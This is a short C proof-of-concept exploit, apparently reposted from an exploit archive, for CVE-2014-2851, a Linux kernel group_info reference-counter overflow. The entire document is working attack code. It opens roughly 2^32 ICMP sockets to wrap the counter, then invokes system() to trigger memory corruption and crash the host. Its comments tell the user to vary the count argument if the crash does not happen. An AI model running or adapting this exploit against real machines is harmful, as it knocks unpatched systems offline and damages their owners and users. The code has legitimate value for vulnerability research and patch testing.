Linux group_info Denial Of Service

`/*  
* DoS poc for CVE-2014-2851  
* Linux group_info refcounter overflow memory corruption  
*  
* https://lkml.org/lkml/2014/4/10/736  
*  
* @Tohmaxx - http://thomaspollet.blogspot.be  
*  
* If the app doesn't crash your system, try a different count (argv[1])  
* Execution takes a while because 2^32 socket() calls  
*  
*/  
  
#include <arpa/inet.h>  
#include <stdio.h>  
#include <sys/socket.h>  
int main(int argc, char *argv[]) {  
int i ;  
struct sockaddr_in saddr;  
unsigned count = (1UL<<32) - 20 ;  
if(argc >= 2){  
// Specify count  
count = atoi(argv[1]);  
}  
printf("count 0x%x\n",count);  
for(i = 0 ; (unsigned)i < count;i++ ){  
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);  
if ( i % ( 1 << 22 ) == 0 )  
printf("%i \n",i);  
}  
//Now make it wrap and crash:  
system("/bin/echo bye bye");  
}  
  
`